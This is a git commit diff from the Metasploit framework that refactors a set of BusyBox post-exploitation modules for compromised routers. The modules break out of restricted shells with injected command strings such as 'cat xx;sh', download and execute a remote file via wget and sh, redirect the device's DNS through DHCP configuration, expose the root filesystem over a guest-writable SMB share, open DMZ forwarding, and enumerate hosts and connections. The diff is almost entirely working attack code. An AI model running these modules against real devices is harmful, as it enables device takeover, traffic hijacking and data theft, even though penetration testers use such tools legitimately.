Merge pull request #1 from jvazquez-r7/review_5722
Code review and cleanup for Busybox PRbug/bundler_fix
commit
4cdbabdde7
|
@ -2,5 +2,5 @@
|
|||
module Msf::Post::Linux
|
||||
require 'msf/core/post/linux/priv'
|
||||
require 'msf/core/post/linux/system'
|
||||
require 'msf/core/post/linux/busybox'
|
||||
require 'msf/core/post/linux/busy_box'
|
||||
end
|
||||
|
|
|
@ -0,0 +1,110 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
module BusyBox
|
||||
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
|
||||
# Checks if the file exists in the target
|
||||
#
|
||||
# @param file_path [String] the target file path
|
||||
# @return [Boolean] true if files exists, false otherwise
|
||||
# @note Msf::Post::File#file? doesnt work because test -f is not available in busybox
|
||||
def busy_box_file_exist?(file_path)
|
||||
contents = read_file(file_path)
|
||||
if contents.nil? || contents.empty?
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Checks if the directory is writable in the target
|
||||
#
|
||||
# @param dir_path [String] the target directory path
|
||||
# @return [Boolean] true if target directory is writable, false otherwise
|
||||
def busy_box_is_writable_dir?(dir_path)
|
||||
res = false
|
||||
rand_str = Rex::Text.rand_text_alpha(16)
|
||||
file_path = "#{dir_path}/#{rand_str}"
|
||||
|
||||
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
rcv = read_file(file_path)
|
||||
|
||||
if rcv.include?("#{rand_str}XXX#{rand_str}")
|
||||
res = true
|
||||
end
|
||||
|
||||
cmd_exec("rm -f #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Checks some directories that usually are writable in devices running busybox
|
||||
# @return [String] If the function finds a writable directory, it returns the path. Else it returns nil
|
||||
def busy_box_writable_dir
|
||||
dirs = %w(/etc/ /mnt/ /var/ /var/tmp/)
|
||||
|
||||
dirs.each do |d|
|
||||
return d if busy_box_is_writable_dir?(d)
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Writes data to a file
|
||||
#
|
||||
# @param file_path [String] the file path to write on the target
|
||||
# @param data [String] the content to be written
|
||||
# @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite
|
||||
# the target file
|
||||
# @return [Boolean] true if target file is writable and it was written. Otherwise, false.
|
||||
# @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because
|
||||
# of it is necessary to implement an specific method.
|
||||
def busy_box_write_file(file_path, data, prepend = false)
|
||||
if prepend
|
||||
dir = busy_box_writable_dir
|
||||
return false unless dir
|
||||
cmd_exec("cp -f #{file_path} #{dir}tmp")
|
||||
Rex::sleep(0.3)
|
||||
end
|
||||
|
||||
rand_str = Rex::Text.rand_text_alpha(16)
|
||||
cmd_exec("echo #{rand_str} > #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
|
||||
unless read_file(file_path).include?(rand_str)
|
||||
return false
|
||||
end
|
||||
|
||||
cmd_exec("echo \"\"> #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
|
||||
lines = data.lines.map(&:chomp)
|
||||
lines.each do |line|
|
||||
cmd_exec("echo #{line.chomp} >> #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
end
|
||||
|
||||
if prepend
|
||||
cmd_exec("cat #{dir}tmp >> #{file_path}")
|
||||
Rex::sleep(0.3)
|
||||
|
||||
cmd_exec("rm -f #{dir}tmp")
|
||||
Rex::sleep(0.3)
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end # Busybox
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
|
@ -1,92 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Linux
|
||||
module Busybox
|
||||
|
||||
include ::Msf::Post::File
|
||||
|
||||
#
|
||||
#Checks if the target file exists
|
||||
#@param file_path [String] the target file path
|
||||
#@note file? doesnt work because test -f is not implemented in busybox
|
||||
#@return [Boolean] True if files exists, otherwise false
|
||||
#
|
||||
def file_exists(file_path)
|
||||
s = read_file(file_path)
|
||||
if s and s.length
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
#Checks if the target directory is writable
|
||||
#@param directory_path [String] the target directory path
|
||||
#@return [Boolean] True if target directory is writable, otherwise false
|
||||
#
|
||||
def is_writable_directory(directory_path)
|
||||
retval = false
|
||||
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
|
||||
file_path = directory_path + "/" + rand_str
|
||||
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}"); Rex::sleep(0.3)
|
||||
rcv = read_file(file_path)
|
||||
if rcv.include? (rand_str+"XXX"+rand_str)
|
||||
retval = true
|
||||
end
|
||||
cmd_exec("rm -f #{file_path}"); Rex::sleep(0.3)
|
||||
return retval
|
||||
end
|
||||
|
||||
#
|
||||
#Checks if the target file is writable and writes or append to the file the data given as parameter
|
||||
#@param file_path [String] the target file path
|
||||
#@param data [String] the content to be written to the file
|
||||
#@param append [Boolean] if true, append data to the target file. Otherwise, overwrite the target file
|
||||
#@note BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for this reason it is necessary to implement an specific function
|
||||
#@return [Boolean] True if target file is writable and it was written. Otherwise, false.
|
||||
#
|
||||
def is_writable_and_write(file_path, data, append)
|
||||
if append
|
||||
writable_directory = get_writable_directory()
|
||||
return false if not writable_directory
|
||||
cmd_exec("cp -f #{file_path} #{writable_directory}tmp"); Rex::sleep(0.3)
|
||||
end
|
||||
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
|
||||
cmd_exec("echo #{rand_str} > #{file_path}"); Rex::sleep(0.3)
|
||||
if read_file(file_path).include? rand_str
|
||||
cmd_exec("echo \"\"> #{file_path}"); Rex::sleep(0.3)
|
||||
lines = data.lines.map(&:chomp)
|
||||
lines.each do |line|
|
||||
cmd_exec("echo #{line.chomp} >> #{file_path}"); Rex::sleep(0.3)
|
||||
end
|
||||
if append
|
||||
cmd_exec("cat #{writable_directory}tmp >> #{file_path}"); Rex::sleep(0.3)
|
||||
cmd_exec("rm -f #{writable_directory}tmp"); Rex::sleep(0.3)
|
||||
end
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
#Checks some directories that usually are writable in devices running busybox
|
||||
#@return [String] If the function finds a writable directory, it returns the path. Else it returns nil
|
||||
#
|
||||
def get_writable_directory()
|
||||
writable_directory = nil
|
||||
writable_directory = "/etc/" if is_writable_directory("/etc")
|
||||
writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt"))
|
||||
writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var"))
|
||||
writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp"))
|
||||
return writable_directory
|
||||
end
|
||||
|
||||
end # Busybox
|
||||
end # Linux
|
||||
end # Post
|
||||
end # Msf
|
|
@ -0,0 +1,61 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::BusyBox
|
||||
|
||||
FILES = [
|
||||
'/proc/net/nf_conntrack',
|
||||
'/proc/net/ip_conntrack',
|
||||
'/proc/net/tcp',
|
||||
'/proc/net/udp',
|
||||
'/proc/net/arp',
|
||||
'/proc/fcache/*'
|
||||
]
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Enumerate Connections',
|
||||
'Description' => %q{
|
||||
This module will be applied on a session connected to a BusyBox shell. It will
|
||||
enumerate the connections established with the router or device executing BusyBox.
|
||||
},
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
found = false
|
||||
print_status('Searching for files that store information about network connections')
|
||||
FILES.each do |f|
|
||||
if busy_box_file_exist?(f)
|
||||
found = true
|
||||
print_good("Connections File found: #{f}.")
|
||||
read_connection_file(f)
|
||||
end
|
||||
end
|
||||
|
||||
print_error('Any file with connections found') unless found
|
||||
end
|
||||
|
||||
def read_connection_file(file)
|
||||
begin
|
||||
str_file=read_file(file)
|
||||
vprint_line(str_file)
|
||||
p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections')
|
||||
print_good("Connections saved to #{p}")
|
||||
rescue EOFError
|
||||
print_error("Nothing read from file #{file}, file may be empty")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,53 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::BusyBox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Enumerate Host Names',
|
||||
'Description' => %q{
|
||||
This module will be applied on a session connected to a BusyBox shell. It will enumerate
|
||||
host names related to the device executing BusyBox.
|
||||
},
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status('Searching hosts files...')
|
||||
if busy_box_file_exist?('/var/hosts')
|
||||
hosts_file = '/var/hosts'
|
||||
elsif busy_box_file_exist?('/var/udhcpd/udhcpd.leases')
|
||||
hosts_file = '/var/udhcpd/udhcpd.leases'
|
||||
else
|
||||
print_error('Files not found')
|
||||
return
|
||||
end
|
||||
|
||||
read_hosts_file(hosts_file)
|
||||
end
|
||||
|
||||
def read_hosts_file(file)
|
||||
begin
|
||||
str_file=read_file(file)
|
||||
print_good("Hosts File found: #{file}.")
|
||||
vprint_line(str_file)
|
||||
p = store_loot('busybox.enum.hosts', 'text/plain', session, str_file, file, 'BusyBox Device host names')
|
||||
print_good("Hosts saved to #{p}.")
|
||||
rescue EOFError
|
||||
print_error("Nothing read from file: #{file}, file may be empty.")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,68 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
METHODS = [
|
||||
'cat xx || sh',
|
||||
'ping || sh',
|
||||
'echo `sh >> /dev/ttyp0`',
|
||||
'ping `sh >> /dev/ttyp0`',
|
||||
'cat `sh >> /dev/ttyp0`',
|
||||
'cat xx;sh',
|
||||
'echo xx;sh',
|
||||
'ping;sh',
|
||||
'cat xx | sh',
|
||||
'ping | sh',
|
||||
'cat ($sh)',
|
||||
'cat xx && sh',
|
||||
'echo xx && sh',
|
||||
'ping && sh'
|
||||
]
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Jailbreak ',
|
||||
'Description' => %q{
|
||||
This module will send a set of commands to a open session that is connected to a
|
||||
BusyBox limited shell (i.e. a router limited shell). It will try different known
|
||||
tricks to jailbreak the limited shell and get a full BusyBox shell.
|
||||
},
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
res = false
|
||||
|
||||
METHODS.each do |m|
|
||||
res = try_method(m)
|
||||
break if res
|
||||
end
|
||||
|
||||
print_error('Unable to jailbreak device shell') unless res
|
||||
end
|
||||
|
||||
def try_method(command)
|
||||
vprint_status("jailbreak sent: #{command}")
|
||||
session.shell_write("#{command}\n")
|
||||
(1..10).each do
|
||||
resp = session.shell_read
|
||||
vprint_status("jailbreak received: #{resp}") unless resp.nil? || resp.empty?
|
||||
if resp.downcase.include?('busybox') && resp.downcase.include?('built-in shell')
|
||||
print_good("Jailbreak accomplished with #{command}")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,42 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Ping Network Enumeration',
|
||||
'Description' => %q{
|
||||
This module will be applied on a session connected to a BusyBox shell. It will ping a range
|
||||
of IP addresses from the router or device executing BusyBox.
|
||||
},
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddressRange.new('RANGE', [true, 'IP range to ping'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
results = ''
|
||||
Rex::Socket::RangeWalker.new(datastore['RANGE']).each do |ip|
|
||||
vprint_status("Checking address #{ip}")
|
||||
results << cmd_exec("ping -c 1 #{ip}")
|
||||
end
|
||||
|
||||
p = store_loot('busybox.enum.network', 'text/plain', session, results, 'ping_results.txt', 'BusyBox Device Network Range Enumeration')
|
||||
print_good("Results saved to #{p}.")
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,41 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox DMZ Configuration',
|
||||
'Description' => %q{
|
||||
This module will be applied on a session connected to a BusyBox shell. It allows to manage
|
||||
traffic forwarding to a target host through the BusyBox device.
|
||||
},
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']),
|
||||
OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['DELETE']
|
||||
print_status("Deleting #{datastore['TARGET_HOST']} from DMZ")
|
||||
vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
|
||||
else
|
||||
print_status("Adding #{datastore['TARGET_HOST']} to DMZ")
|
||||
vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
|
||||
end
|
||||
|
||||
vprint_status(cmd_exec('iptables --list'))
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,81 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::BusyBox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox DNS Configuration',
|
||||
'Description' => %q{
|
||||
This module will be applied on a session connected to a BusyBox shell. It allows
|
||||
to set the DNS server on the device executing BusyBox so it will be sent by the
|
||||
DHCP server to network hosts.
|
||||
},
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('DNS', [ true, 'The dns server address' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Searching for files to modify dns server.")
|
||||
if busy_box_file_exist?('/etc/resolv.conf')
|
||||
modify_resolv_conf
|
||||
end
|
||||
|
||||
if busy_box_file_exist?('/etc/udhcpd.conf')
|
||||
modify_udhcpd_conf
|
||||
end
|
||||
end
|
||||
|
||||
def modify_resolv_conf
|
||||
print_status('File /etc/resolv.conf found')
|
||||
if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false)
|
||||
print_good('DNS server added to resolv.conf')
|
||||
end
|
||||
end
|
||||
|
||||
def modify_udhcpd_conf
|
||||
print_status('File /etc/udhcpd.conf found')
|
||||
|
||||
if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)
|
||||
restart_dhcpd('/etc/udhcpd.conf')
|
||||
else
|
||||
print_status('Unable to write udhcpd.conf, searching a writable directory...')
|
||||
writable_directory = busy_box_writable_dir
|
||||
if writable_directory
|
||||
print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf")
|
||||
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")
|
||||
Rex::sleep(0.3)
|
||||
print_status("Adding DNS to #{writable_directory}tmp.conf")
|
||||
busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
|
||||
restart_dhcpd("#{writable_directory}tmp.conf")
|
||||
else
|
||||
print_error('Writable directory not found')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def restart_dhcpd(conf)
|
||||
print_status('Restarting udhcp server')
|
||||
cmd_exec('killall dhcpd')
|
||||
# in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
|
||||
# that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
|
||||
# process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
|
||||
session.shell_write("dhcpd #{conf} &\n")
|
||||
print_good('udhcpd.conf modified and DNS server added. DHCPD restarted')
|
||||
end
|
||||
end
|
|
@ -0,0 +1,59 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::BusyBox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox SMB Sharing',
|
||||
'Description' => %q{
|
||||
This module will be applied on a session connected to a BusyBox shell. It will modify
|
||||
the SMB configuration of the device executing BusyBox to share the root directory of
|
||||
the device.
|
||||
},
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status('Checking smb.conf...')
|
||||
if busy_box_file_exist?('/var/samba/smb.conf')
|
||||
print_status('smb.conf found, searching writable directory...')
|
||||
writable_directory = busy_box_writable_dir
|
||||
if writable_directory
|
||||
print_status('writable directory found, copying smb.conf and restarting smbd')
|
||||
copy_smb_conf(writable_directory)
|
||||
else
|
||||
print_error('Writable directory not found')
|
||||
end
|
||||
else
|
||||
print_error('smb.conf not found')
|
||||
end
|
||||
end
|
||||
|
||||
def copy_smb_conf(dir)
|
||||
cmd_exec_delay("rm -f #{dir}smb.conf")
|
||||
cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf")
|
||||
cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf")
|
||||
cmd_exec_delay('killall smbd')
|
||||
cmd_exec_delay("smbd -D -s #{dir}smb.conf")
|
||||
cmd_exec_delay("smbd -D -s=#{dir}smb.conf")
|
||||
end
|
||||
|
||||
def cmd_exec_delay(command)
|
||||
res = cmd_exec(command)
|
||||
vprint_status(res)
|
||||
Rex.sleep(0.1)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,54 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::BusyBox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Download and Execute',
|
||||
'Description' => %q{
|
||||
This module will be applied on a session connected to a BusyBox shell. It will use wget to
|
||||
download and execute a file from the device running BusyBox.
|
||||
},
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URL', [true, 'Full URL of file to download'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status('Searching a writable direcotry...')
|
||||
writable_directory = busy_box_writable_dir
|
||||
if writable_directory
|
||||
print_status('Writable directory found, downloading file...')
|
||||
random_file_path = "#{writable_directory}#{Rex::Text.rand_text_alpha(16)}"
|
||||
cmd_exec("wget -O #{random_file_path} #{datastore['URL']}")
|
||||
Rex::sleep(0.1)
|
||||
|
||||
if busy_box_file_exist?(random_file_path)
|
||||
print_good('File downloaded, executing...')
|
||||
cmd_exec("chmod 777 #{random_file_path}")
|
||||
Rex::sleep(0.1)
|
||||
res = cmd_exec("sh #{random_file_path}")
|
||||
vprint_status(res)
|
||||
else
|
||||
print_error('Unable to download file')
|
||||
end
|
||||
else
|
||||
print_error('Writable directory not found')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,58 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Busybox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Enumerate Connections',
|
||||
'Description' => 'This module will be applied on a session connected
|
||||
to a BusyBox sh shell. The script will enumerate
|
||||
the connections established by the hosts connected
|
||||
to the router or device executing BusyBox.',
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://vallejo.cc']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
found = false
|
||||
conns_files =[
|
||||
"/proc/net/nf_conntrack", "/proc/net/ip_conntrack", "/proc/net/tcp", "/proc/net/udp", "/proc/net/arp", "/proc/fcache/*"
|
||||
]
|
||||
vprint_status("Searching for files that store information about network connections.")
|
||||
conns_files.each do |conns_file|
|
||||
if file_exists(conns_file)
|
||||
found = true
|
||||
print_good("Connections File found: #{conns_file}.")
|
||||
begin
|
||||
str_file=read_file(conns_file)
|
||||
vprint_line(str_file)
|
||||
#Store file
|
||||
p = store_loot("Connections", "text/plain", session, str_file, conns_file, "BusyBox Device Network Established Connections")
|
||||
print_good("Connections saved to #{p}.")
|
||||
rescue EOFError
|
||||
# If there's nothing in the file, we hit EOFError
|
||||
print_error("Nothing read from file #{conns_file}, file may be empty.")
|
||||
end
|
||||
end
|
||||
end
|
||||
if found == false
|
||||
print_error("Nothing read from connection files, files may be empty.")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,55 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Busybox
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Enumerate Hosts',
|
||||
'Description' => 'This module will be applied on a session connected
|
||||
to a BusyBox sh shell. The script will enumerate
|
||||
the hosts connected to the router or device executing
|
||||
BusyBox.',
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://vallejo.cc']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
hosts_file = nil
|
||||
if file_exists("/var/hosts")
|
||||
hosts_file = "/var/hosts"
|
||||
elsif file_exists("/var/udhcpd/udhcpd.leases")
|
||||
hosts_file = "/var/udhcpd/udhcpd.leases"
|
||||
else
|
||||
vprint_error("Files not found: /var/hosts, /var/udhcpd/udhcpd.leases.")
|
||||
return
|
||||
end
|
||||
#File exists
|
||||
begin
|
||||
str_file=read_file(hosts_file)
|
||||
print_good("Hosts File found: #{hosts_file}.")
|
||||
vprint_line(str_file)
|
||||
#Store file
|
||||
p = store_loot("Hosts", "text/plain", session, str_file, hosts_file, "BusyBox Device Connected Hosts")
|
||||
print_good("Hosts saved to #{p}.")
|
||||
rescue EOFError
|
||||
# If there's nothing in the file, we hit EOFError
|
||||
print_error("Nothing read from file: #{hosts_file}, file may be empty.")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,53 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Ping Network',
|
||||
'Description' => 'This module will be applied on a session connected
|
||||
to a BusyBox sh shell. The script will ping a range of
|
||||
ip adresses from the router or device executing BusyBox.',
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://vallejo.cc']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new('IPRANGESTART', [ true, "The first ip address of the range to ping.", nil ]),
|
||||
OptAddress.new('IPRANGEEND', [ true, "The last ip address of the range to ping.", nil ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
#This module executes the ping command from the BusyBox connected shell for a given range of ip addresses. The
|
||||
#results will be stored in loots
|
||||
#
|
||||
def run
|
||||
|
||||
full_results = ""
|
||||
|
||||
(IPAddr.new(datastore['IPRANGESTART'])..IPAddr.new(datastore['IPRANGEEND'])).map(&:to_s).each do |current_ip_address|
|
||||
print_status("Doing ping to the address #{current_ip_address}.")
|
||||
full_results << cmd_exec("ping -c 1 #{current_ip_address}")
|
||||
end
|
||||
|
||||
#storing results
|
||||
p = store_loot("Pingnet", "text/plain", session, full_results, "#{datastore['IPRANGESTART']}"+"-"+"#{datastore['IPRANGEEND']}", "BusyBox Device Network Range Pings")
|
||||
print_good("Pingnet results saved to #{p}.")
|
||||
end
|
||||
|
||||
end
|
|
@ -1,64 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'BusyBox Jailbreak ',
|
||||
'Description' => 'This module will send a set of commands to a open
|
||||
session that is connected to a BusyBox limited shell
|
||||
(i.e. a router limited shell). It will try different
|
||||
known tricks to try to jailbreak the limited shell and
|
||||
get a full sh busybox shell.',
|
||||
'Author' => 'Javier Vicente Vallejo',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://vallejo.cc']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'SessionTypes' => ['shell']
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
bfound = false
|
||||
bfound = try_command("cat xx || sh\n","1_1") unless bfound
|
||||
bfound = try_command("ping || sh\n","1_2") unless bfound
|
||||
bfound = try_command("echo `sh >> /dev/ttyp0`\n","2_1") unless bfound
|
||||
bfound = try_command("ping `sh >> /dev/ttyp0`\n","2_2") unless bfound
|
||||
bfound = try_command("cat `sh >> /dev/ttyp0`\n","2_3") unless bfound
|
||||
bfound = try_command("cat xx;sh\n","3_1") unless bfound
|
||||
bfound = try_command("echo xx;sh\n","3_2") unless bfound
|
||||
bfound = try_command("ping;sh\n","3_3") unless bfound
|
||||
bfound = try_command("cat xx | sh\n","4_1") unless bfound
|
||||
bfound = try_command("ping | sh\n","4_2") unless bfound
|
||||
bfound = try_command("cat ($sh)\n","5_1") unless bfound
|
||||
bfound = try_command("echo ($sh) xx\n","5_2") unless bfound
|
||||
bfound = try_command("ping ($sh)\n","5_3") unless bfound
|
||||
bfound = try_command("cat xx && sh\n","6_1") unless bfound
|
||||
bfound = try_command("echo xx && sh\n","6_2") unless bfound
|
||||
